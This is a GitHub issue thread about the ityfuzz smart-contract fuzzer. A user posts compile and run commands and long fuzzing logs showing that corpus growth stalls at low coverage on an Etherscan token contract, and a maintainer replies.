Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

not produce more corpus #436

Open
2590438469 opened this issue Mar 8, 2024 · 5 comments
Open

not produce more corpus #436

2590438469 opened this issue Mar 8, 2024 · 5 comments

Comments

@2590438469
Copy link

When I was testing the off-chain smart contract, the system only generated a few dozen test cases and then stopped. Afterwards, it kept outputting basic information. I want to know why it didn't continue to output transaction information like Txn:
[Sender] 0x8EF508Aca04B32Ff3ba5003177cb18BfA6Cd79dd
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transferFrom(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 0x8EF508Aca04B32Ff3ba5003177cb18BfA6Cd79dd, 5)
│ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001e536166654d6174683a207375627472616374696f6e206f766572666c6f770000

Does this mean that it also stopped generating new test cases?

@shouc
Copy link
Contributor

shouc commented Mar 8, 2024

It means it cannot find any more "interesting" testcase that can increase test coverage, likely the coverage is already = 100%

@2590438469
Copy link
Author

It means it cannot find any more "interesting" testcase that can increase test coverage, likely the coverage is already = 100%

“INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0xbF20B5892012c2a70a2212b06915494f7f7174E1, 100)
│ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001e536166654d6174683a207375627472616374696f6e206f766572666c6f770000

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 29, objectives: 0, executions: 646, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 33.87% Instruction Covered, 31.25% Branch Covered
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 29, objectives: 0, executions: 646, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0xe1A425f1AC34A8a441566f93c82dD730639c8510, 1)
│ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001e536166654d6174683a207375627472616374696f6e206f766572666c6f770000

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 30, objectives: 0, executions: 730, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 33.87% Instruction Covered, 32.14% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO [Stats #0] run time: 0h-0m-1s, clients: 1, corpus: 30, objectives: 0, executions: 51882, exec/sec: 49.16k
INFO [Stats #0] run time: 0h-0m-2s, clients: 1, corpus: 30, objectives: 0, executions: 113615, exec/sec: 55.27k
INFO [Stats #0] run time: 0h-0m-3s, clients: 1, corpus: 30, objectives: 0, executions: 175512, exec/sec: 57.43k
INFO [Stats #0] run time: 0h-0m-4s, clients: 1, corpus: 30, objectives: 0, executions: 237295, exec/sec: 58.50k
INFO [Stats #0] run time: 0h-0m-5s, clients: 1, corpus: 30, objectives: 0, executions: 299278, exec/sec: 59.18k
INFO [Stats #0] run time: 0h-0m-6s, clients: 1, corpus: 30, objectives: 0, executions: 361578, exec/sec: 59.69k
INFO [Stats #0] run time: 0h-0m-7s, clients: 1, corpus: 30, objectives: 0, executions: 423509, exec/sec: 60.01k”

The above is the last part of the output that I re-captured. It can be seen that the coverage did not reach 100%, or even 50%, and it stopped generating new test cases. What could be the reason for this

@shouc
Copy link
Contributor

shouc commented Mar 12, 2024

It is likely you did not deploy the contracts correctly. Would you mind sharing them?

@2590438469
Copy link
Author

I get a contract from etherscan,I use "solc .sol -o . --bin --abi --overwrite --base-path ../../../ --combined-json bin-runtime,srcmap-runtime" to compile it.Then I use "ityfuzz evm -t '../../testContract/' --base-path ../../" to start.Here is the whole information:

================ EVM Fuzzer Start ===================

INFO Deploying contract: ../../backup/contract/GaugeHelperContract/MXI*
INFO Contract ../../backup/contract/GaugeHelperContract/MXI* deployed to: 0xbf20b5892012c2a70a2212b06915494f7f7174e1
INFO Deploying contract: ../../backup/contract/GaugeHelperContract/Ownable*
INFO Contract ../../backup/contract/GaugeHelperContract/Ownable* deployed to: 0x562300ef78bcea805decade6571054968d54d2be
INFO Deploying contract: ../../backup/contract/GaugeHelperContract/SafeMath*
INFO Contract ../../backup/contract/GaugeHelperContract/SafeMath* deployed to: 0x6d26b5cddaa81c76e51d68450a91ee32117478eb
INFO Deployed all contracts

INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 0, objectives: 0, executions: 0, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? false
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257)
│ └─ ← 0x01

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 13, objectives: 0, executions: 1, exec/sec: 0.000
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 13, objectives: 0, executions: 1, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x0000000000000000000000000000000000000000, 14532097118007400494995727436556564244933246468209580781964.1791 ether)
│ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002245524332303a20617070726f766520746f20746865207a65726f2061646472657373000000000000000000000000000000000000000000000000000000000000

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 14, objectives: 0, executions: 5, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 14, objectives: 0, executions: 5, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? false
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xe1A425f1AC34A8a441566f93c82dD730639c8510, 17668470648119397166285296946553604954100067619801204480.1772 ether)
│ └─ ← 0x01
[Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.decimals()
│ └─ ← 0x09

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 15, objectives: 0, executions: 33, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 15, objectives: 0, executions: 33, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? false
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257)
│ └─ ← 0x01
[Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.name()
│ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000c4d58492050726f746f636f6c0000000000000000000000000000000000000000

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 16, objectives: 0, executions: 59, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 16, objectives: 0, executions: 59, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 6252581806789916449810294266015592907942.4354 ether)
│ └─ ← 0x01
[Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.openTrading()
│ └─ ← 0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000204f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 17, objectives: 0, executions: 85, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 17, objectives: 0, executions: 85, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 6252581806789916449810294266015592907942.4354 ether)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 411376139330301510538742635926896844042682257.4115 ether)
│ └─ ← 0x01
[Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.removeLimits()
│ └─ ← 0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000204f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 18, objectives: 0, executions: 117, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 18, objectives: 0, executions: 117, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xe1A425f1AC34A8a441566f93c82dD730639c8510, 17668470648119397166285296946553604954100067619801204480.1772 ether)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x562300ef78Bcea805DEcADe6571054968D54d2bE, 1809251394333066356962318770255886331189703311727054044491.2118 ether)
│ └─ ← 0x01
[Sender] 0xe1A425f1AC34A8a441566f93c82dD730639c8510
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.renounceOwnership()
│ └─ ← 0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000204f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 19, objectives: 0, executions: 149, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 19, objectives: 0, executions: 149, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? false
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257)
│ └─ ← 0x01
[Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.symbol()
│ └─ ← 0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000034d58490000000000000000000000000000000000000000000000000000000000

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 20, objectives: 0, executions: 181, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 20, objectives: 0, executions: 181, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? false
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x562300ef78Bcea805DEcADe6571054968D54d2bE, 1580500018685386542065675832442182984097788701395100735.7658 ether)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.totalSupply()
│ └─ ← 0x05d697537a8f2000

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 21, objectives: 0, executions: 206, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 13.01% Instruction Covered, 8.04% Branch Covered
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 21, objectives: 0, executions: 206, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 6252581806789916449810294266015592907942.4354 ether)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xbF20B5892012c2a70a2212b06915494f7f7174E1, 74179307167655689300163206530180966510463176287870998467971.7755 ether)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 745)
│ └─ ← 0x01
[Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 1600660942523603594778126302917954936106100.6383 ether)
│ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001a4578636565647320746865206d617857616c6c657453697a652e000000000000

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 22, objectives: 0, executions: 234, exec/sec: 0.000
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 22, objectives: 0, executions: 234, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 6252581806789916449810294266015592907942.4354 ether)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 411376139330301510538742635926896844042682257.4115 ether)
│ └─ ← 0x01
[Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0x0000000000000000000000000000000000000000, 0)
│ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002345524332303a207472616e7366657220746f20746865207a65726f20616464726573730000000000000000000000000000000000000000000000000000000000

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 23, objectives: 0, executions: 235, exec/sec: 0.000
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 23, objectives: 0, executions: 235, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 6252581806789916449810294266015592907942.4354 ether)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xbF20B5892012c2a70a2212b06915494f7f7174E1, 74179307167655689300163206530180966510463176287870998467971.7755 ether)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0x562300ef78Bcea805DEcADe6571054968D54d2bE, 94904104512153312746296689511655831747302810024086495536623.3071 ether)
│ └─ ← 0x4e487b710000000000000000000000000000000000000000000000000000000000000011

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 24, objectives: 0, executions: 239, exec/sec: 0.000
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 24, objectives: 0, executions: 239, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xe1A425f1AC34A8a441566f93c82dD730639c8510, 17668470648119397166285296946553604954100067619801204480.1772 ether)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x562300ef78Bcea805DEcADe6571054968D54d2bE, 1809251394333066356962318770255886331189703311727054044491.2118 ether)
│ └─ ← 0x01
[Sender] 0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0xbF20B5892012c2a70a2212b06915494f7f7174E1, 0)
│ └─ ← 0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000295472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f0000000000000000000000000000000000000000000000

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 25, objectives: 0, executions: 247, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 24.45% Instruction Covered, 21.43% Branch Covered
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 25, objectives: 0, executions: 247, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x68Dd4F5AC792eAaa5e36f4f4e0474E0625dc9024, 6252581806789916449810294266015592907942.4354 ether)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xbF20B5892012c2a70a2212b06915494f7f7174E1, 74179307167655689300163206530180966510463176287870998467971.7755 ether)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 745)
│ └─ ← 0x01
[Sender] 0x8EF508Aca04B32Ff3ba5003177cb18BfA6Cd79dd
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transferFrom(0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000, 5708990770823839524233143877.7979 ether)
│ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002545524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373000000000000000000000000000000000000000000000000000000

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 26, objectives: 0, executions: 266, exec/sec: 0.000
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 26, objectives: 0, executions: 266, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257)
│ └─ ← 0x01
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x562300ef78Bcea805DEcADe6571054968D54d2bE, 1580500018685386542065675832442182984097788701395100735.7658 ether)
│ └─ ← 0x01
[Sender] 0x8EF508Aca04B32Ff3ba5003177cb18BfA6Cd79dd
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transferFrom(0x8EF508Aca04B32Ff3ba5003177cb18BfA6Cd79dd, 0x6D26b5CdDAa81c76E51d68450A91eE32117478eb, 11257)
│ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001e536166654d6174683a207375627472616374696f6e206f766572666c6f770000

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 27, objectives: 0, executions: 276, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 33.87% Instruction Covered, 31.25% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 27, objectives: 0, executions: 276, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? false
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0xe1A425f1AC34A8a441566f93c82dD730639c8510, 17668470648119397166285296946553604954100067619801204480.1772 ether)
│ └─ ← 0x01
[Sender] 0xe1A425f1AC34A8a441566f93c82dD730639c8510
└─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.call{value: 4294967296}()

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 28, objectives: 0, executions: 299, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 33.87% Instruction Covered, 31.25% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 28, objectives: 0, executions: 299, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.approve(0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb, 11257)
│ └─ ← 0x01
[Sender] 0x8EF508Aca04B32Ff3ba5003177cb18BfA6Cd79dd
├─[1] 0x562300ef78Bcea805DEcADe6571054968D54d2bE.renounceOwnership()
│ └─ ← 0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000204f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 29, objectives: 0, executions: 330, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 33.87% Instruction Covered, 31.25% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO [Stats #0] run time: 0h-0m-0s, clients: 1, corpus: 29, objectives: 0, executions: 330, exec/sec: 0.000
INFO ============= New Corpus Item =============
INFO Reverted? true
Txn:
[Sender] 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
├─[1] 0xbF20B5892012c2a70a2212b06915494f7f7174E1.transfer(0xbF20B5892012c2a70a2212b06915494f7f7174E1, 1)
│ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001e536166654d6174683a207375627472616374696f6e206f766572666c6f770000

INFO ==========================================
INFO [Testcase #0] run time: 0h-0m-0s, clients: 1, corpus: 30, objectives: 0, executions: 627, exec/sec: 0.000
INFO ============= Coverage Summary =============
INFO ../../backup/contract/GaugeHelperContract/MXI(0xbf20b5892012c2a70a2212b06915494f7f7174e1): 33.87% Instruction Covered, 32.14% Branch Covered
INFO ../../backup/contract/GaugeHelperContract/Ownable(0x562300ef78bcea805decade6571054968d54d2be): 33.60% Instruction Covered, 25.00% Branch Covered
INFO [Stats #0] run time: 0h-0m-1s, clients: 1, corpus: 30, objectives: 0, executions: 45443, exec/sec: 42.46k
INFO [Stats #0] run time: 0h-0m-2s, clients: 1, corpus: 30, objectives: 0, executions: 105172, exec/sec: 50.79k
INFO [Stats #0] run time: 0h-0m-3s, clients: 1, corpus: 30, objectives: 0, executions: 166722, exec/sec: 54.29k
INFO [Stats #0] run time: 0h-0m-4s, clients: 1, corpus: 30, objectives: 0, executions: 228413, exec/sec: 56.10k
INFO [Stats #0] run time: 0h-0m-5s, clients: 1, corpus: 30, objectives: 0, executions: 290857, exec/sec: 57.35k
INFO [Stats #0] run time: 0h-0m-6s, clients: 1, corpus: 30, objectives: 0, executions: 353133, exec/sec: 58.16k
INFO [Stats #0] run time: 0h-0m-7s, clients: 1, corpus: 30, objectives: 0, executions: 415949, exec/sec: 58.82k
Thanks for your reply

@2590438469
Copy link
Author

here is the contract :

/**
*Submitted for verification at Etherscan.io on 2024-03-05
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

/*

